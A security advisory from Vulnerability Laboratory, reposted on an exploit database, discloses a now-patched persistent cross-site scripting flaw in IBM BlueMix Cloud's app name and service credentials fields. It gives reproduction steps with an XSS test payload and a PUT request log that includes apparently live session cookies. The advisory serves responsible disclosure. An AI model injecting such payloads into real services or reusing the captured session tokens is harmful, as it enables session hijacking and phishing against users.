###########################

# IBM BlueMix Cloud (API) Persistent Web Vulnerability

###########################

Document Title:
===============
IBM BlueMix Cloud - (API) Persistent Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1846

IBM Security Tracking ID: 5377-12593283


Release Date:
=============
2016-07-04


Vulnerability Laboratory ID (VL-ID):
====================================
1846


Common Vulnerability Scoring System:
====================================
3.7


Product & Service Introduction:
===============================
Bluemix is the latest cloud offering from IBM. It enables organizations and developers to quickly and easily create, deploy, and manage applications
on the cloud. Bluemix is an implementation of IBM's Open Cloud Architecture based on Cloud Foundry, an open source Platform as a Service (PaaS).
Bluemix delivers enterprise-level services that can easily integrate with your cloud applications without you needing to know how to install or
configure them. This article gives a high-level description of Cloud Foundry and Bluemix and outlines the features and services.

(copy of the Vendor Homepage: https://console.ng.bluemix.net/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered an application-side vulnerability in the official IBM BlueMix Cloud online service web-application.


Vulnerability Disclosure Timeline:
==================================
2016-05-17: Researcher Notification & Coordination (Digvijay Singh)
2016-05-18: Vendor Notification (IBM Security Research Team)
2016-05-28: Vendor Response or Feedback (IBM Security Research Team)
2016-07-01: Vendor Fix/Patch (IBM BlueMix Developer Team)
2016-07-04: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
IBM
Product: BlueMix Cloud - Online Service (Web-Application) 2016 Q2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An application-side input validation web vulnerability has been discovered in the official IBM BlueMix Cloud online service web-application.
The vulnerability allows remote attackers to inject own malicious script codes to the application-side of the vulnerable module or function.

The vulnerability is located in the app `name` parameter of the vulnerable `api v2` module PUT request. Remote attackers and low privileged
web-application user accounts are able to inject own malicious script codes on the application-side of the vulnerable `create` module.
The inject request method is PUT and the attack vector is persistent on the application-side of the cloud online service. The injection
point of the issue is the vulnerable name input field and the execution point occurs in the `direct=classic/#/resources/` web context module.

The security risk of the application-side vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.7.
Exploitation of the persistent web vulnerability requires a low privileged web-application user account and low or medium user interaction.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to
malicious source and persistent manipulation of affected or connected application modules.

Request Method(s):
[+] PUT

Vulnerable Parameter(s):
[+] name - app

Affected Module(s):
[+] direct=classic/#/resources/


Proof of Concept (PoC):
=======================
The application-side vulnerability can be exploited by remote attackers with low privileged web-application user account and low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC: Exploitation
https://console.au-syd.bluemix.net/?/&direct=classic/#/resources/
orgGuid=47946af2-edbe-4a81-882a-2ba72b338a86&spaceGuid=12a64eba-116d-4cde-8baa-a8a2f8bff507&appGuid=22121446-442a-46f6-b110-42566cc1abe8&detailType=overview&paneId=2


Manual steps to reproduce the vulnerability ...
1. Go to IBM blumix account
2. Now Click on service and API
3. Again click on Concept Insight and create a service.
4. Once the service created than go to that service.
5. Click on Service Credentials on left hand side
6. Click on Add credentials button and inject the XSS payload
Note: "><img src=x onerror=prompt(12)> and click on ADD button.
7. Once it will added XSS execute
8. Successful reproduce of the vulnerability!

Note: IBM bluemix is cloud based platform where a multiple user's can be signed in for single service with different level of privileged so the above XSS
can be used to exploit for all the same user who comes under the same service's with different level of privileged.
Please, recognize as well that the rename app function is vulnerable to the same issue!


--- PoC Session Logs [PUT] ---
Request: PUT /rest/v2/apps/22121446-442a-46f6-b110-42566cc1abe8?returnAppSummary=true HTTP/1.1
Host: console.au-syd.bluemix.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Referer: https://console.au-syd.bluemix.net/?/&direct=classic/
Cookie: com.ibm.bluemix.login.Identity.yp=1JTHacfjWKElieKokYj9QkFbYjfHBw9Ix5vQqlgACARMojC8dLKPfQb4enonMdjv0OUDhfwfcXIevyF/FdjRskR3hhVRIXD1bAqDrwUcLYRRsL7J
XqrDUmeoQVjZcx7IXThqyBpXvkTaVEV5QrJqbX6dr6eCWCLa

+B3q9c9qNeeLOnqJu0bmyzYDW6Kt9HnSwdmm0z/4dc2Uu5fOPqDk145gfjsqCMDa4bw0mNRPV0BjdAVYXL2Pjs9NBKte5VX6V/lwpNbIyWGHTpYX88Ot6jqgauFg1YA7DJlOpGWGPSYvWFG1g/F5PwqtbZQjxKYGP
CoZuwMNro0hnESKWLECz1yaI9TcPHAuEDYgeSXchPJCQRvp0R5s7kFqasAnFHhBhEfmCkNfIReq
IEVNSnyOcQ==; com.ibm.bluemix.login.Expiration.yp=1462961700; com.ibm.bluemix.login.StartTime.yp=1462875244; ace_login_status=%7B%22console%22%3A%7B%22state%22%3
A%22login%22%2C%22user%22%3A
%22bc59017c6f2e26ad8bb583e0fe5ac53449caab51eb6010698572ef5ecda3f655%22%7D%7D; optimizelyEndUserId=oeu1462875257878r0.3707376621913493; optimizelySegments=%7B%2227
53990332%22%3A%22ff%22%2C%222757810742%22%3A%22referral%22%2C
%222762380326%22%3A%22false%22%2C%223081321317%22%3A%22none%22%7D; optimizelyBuckets=%7B%7D; ace_login_duration=1462875268612; opsConsole.sid=s%3AQnGOjW6P5TrcAUWADB
jUshR-6dbY3Oya%3Abb04e7e5-a4eb-4058-a711-d538d4559177.0ahUKCOb3VVffwo9g
%2FhInr7vMa3wr6nFx0cVkLSUMiw; _csrf=8s_iscH_0TqG1ovs8SaKH6bL; BLUISS=e7d0c3fa169711e6aa88d17d5cfed7a0; Proxy___VCAP_ID__=ef375f9cccc744699186aa8a0ec1ddf8a607ca545765
49cb9ddc633b4a63651b;
Proxy_JSESSIONID=0000pJusl2L_t8cVKCUmxEcR8Lm:3c085306-e49a-458d-83b0-977d2c4169f2; cloudOE_orgGuid=%2247946af2-edbe-4a81-882a-2ba72b338a86%22; ace_orgGuid=%2247946af
2-edbe-4a81-882a-2ba72b338a86%22; cloudOE_spaceGuid=%2212a64eba-116d-
4cde-8baa-a8a2f8bff507%22; cloudOE_sectionOrder_v2=%5B%22appsSection%22%2C%22servicesSection%22%2C%22vmsSection%22%5D; cloudOE_hiddenSectionOrder_v2=%5B%22containersS
ection%22%5D; guidedExperienceIsOpen=false;
utag_main=v_id:01549a29756e0012c1e4698515530204800c000d0086e$_sn:1$_ss:1$_pn:1%3Bexp-session$_st:1462877088942$ses_id:1462875288942%3Bexp-session$dc_visit:1$dc_event:
1%3Bexp-session$ttd_uuid:52b81f5d-61cf-43ec-99b2-b451ce5f0d76%3Bexp-
session$dc_region:eu-central-1%3Bexp-session; ajs_user_id=%22bb04e7e5-a4eb-4058-a711-d538d4559177%22; ajs_group_id=null; _ga=GA1.2.340011002.1462875290; cmTPSet=Y;
CoreID6=44491465856914628752899&ci=50200000|BLUEMIX;
50200000_clogin=v=1&l=1462875289&e=1462877113408;
amplitude_idbluemix.net=eyJkZXZpY2VJZCI6ImIzMGIyOGNiLTM3OGYtNDk5MS1iZGUyLTIxMWYzYThkZWYwOCIsInVzZXJJZCI6ImJiMDRlN2U1LWE0ZWItNDA1OC1hNzExLWQ1MzhkNDU1OTE3NyIsIm9wdE91dCI
6ZmFsc2UsInNlc3Npb25JZCI6MTQ2Mjg3NTI5MDA4MCwibGFzdEV2ZW50VGltZSI6MTQ2
Mjg3NTMzMDAzNCwiZXZlbnRJZCI6NiwiaWRlbnRpZnlJZCI6Miwic2VxdWVuY2VOdW1iZXIiOjh9; CoreM_State=46~-1~-1~-1~-1~3~3~5~3~3~7~7~|~~|~~|~~|~||||||~|~~|~~|~~|~~|~~|~~|~~|~;
CoreM_State_Content=6~|
~4BD3AB2BDFD34568~5F32940836352E96~95D95425574ABB76~|~0~1~2; _gd_session=0788f17e-953b-40c8-8538-b2a32c84d3b0; ajs_anonymous_id=%2242d69dcb-33a9-472d-bafc-bcbbc86174be%22;
_gat=1; CMAVID=none;
_gd_visitor=sync6f76cd17da2c000098b43157d3010000ea4d0100; Alchemy.cookie.session=s%3AfKpNJqZDuHFJHhsgiwYKgGOSn2M-oEQ_.N5syPU%2BfoXEILLOT7gKgf1PI4dXhmgwcYnYKBl8RudU
{"name":"test app<[PERSISTENT SCRIPT CODE INJECTION VULNERABILITY!]>"}
-
Response:
HTTP/1.1 201 Created
{"guid":"22121446-442a-46f6-b110-42566cc1abe8","name":"test app<[PERSISTENT SCRIPT CODE EXECUTION!]>","routes":[{"guid":"1f834271-98c5-4fc4-ad07-d89a850c3f39",
"host":"test-app","domain":{"guid":"ce5067e1-298c-47fd-a95d-
67c7f9792aa7","name":"Test12.com"}}],"running_instances":1,"services":[],"available_domains":[{"guid":"ce5067e1-298c-47fd-a95d-67c7f9792aa7","name":"Test12.com",
"owning_organization_guid":"47946af2-edbe-4a81-882a-2ba72b338a86"},
{"guid":"76f331d2-93e5-4472-ae1b-26bae85d381a","name":"au-syd.mybluemix.net","router_group_guid":null}],"production":false,"space_guid":
"12a64eba-116d-4cde-8baa-a8a2f8bff507","stack_guid":"1dc6e02f-0d02-4c0f-a176-
bfc6ea23fca1","buildpack":null,"detected_buildpack":"SDK for Node.js(TM) (ibm-node.js-0.12.13, buildpack-v3.3-20160428-1409)","environment_json":{},
"memory":256,"instances":1,"disk_quota":1024,"state":"STARTED","version":"bc8ebfa3-1a67-4283-af74-
43f1e0e60b0f","command":null,"console":false,"debug":null,"staging_task_id":"9060b0e7d4e547798ef940aa238fed8b","package_state":"STAGED","health_check_type":"port",
"health_check_timeout":null,"staging_failed_reason":null,"staging_failed_
description":null,"diego":false,"docker_image":null,"package_updated_at":"2016-05-10T10:15:12Z","detected_start_command":"./vendor/initial_startup.rb",
"enable_ssh":true,"docker_credentials_json":{"redacted_message":"[PRIVATE DATA
HIDDEN]"},"ports":null,"ace_doesNotSupportURL":false,"ace_initialTemplateId":"nodejsHelloWorld","ace_featuredicon":"images/appIcons/i-appicon-33-64.png",
"ace_smallicon":"images/appIcons/i-appicon-33-
24.png","ace_description":"","ace_buildpack":null,"ace_type":"web","ace_largeicon":"images/appIcons/i-appicon-33-50.png","ace_mediumicon":
"images/appIcons/i-appicon-33-32.png","ace_starred":false}


Reference(s):
http://console.au-syd.bluemix.net/
http://console.au-syd.bluemix.net/rest/
http://console.au-syd.bluemix.net/rest/v2/
http://console.au-syd.bluemix.net/rest/v2/apps/
http://console.au-syd.bluemix.net/rest/v2/apps/22121446-442a-46f6-b110-42566cc1abe8


Solution - Fix & Patch:
=======================
2016-07-01: Vendor Fix/Patch (IBM BlueMix Developer Team)


Security Risk:
==============
The security risk of the application-side cross site scripting vulnerability in the web-application is estimated as medium. (CVSS 3.7)


Credits & Authors:
==================
Digvijay Singh - [http://www.vulnerability-lab.com/show.php?user=DigvijaySingh]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied,
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage,
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.

Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]â¢

###########################

# Iranian Exploit DataBase = http://IeDb.Ir [2016-07-26]

###########################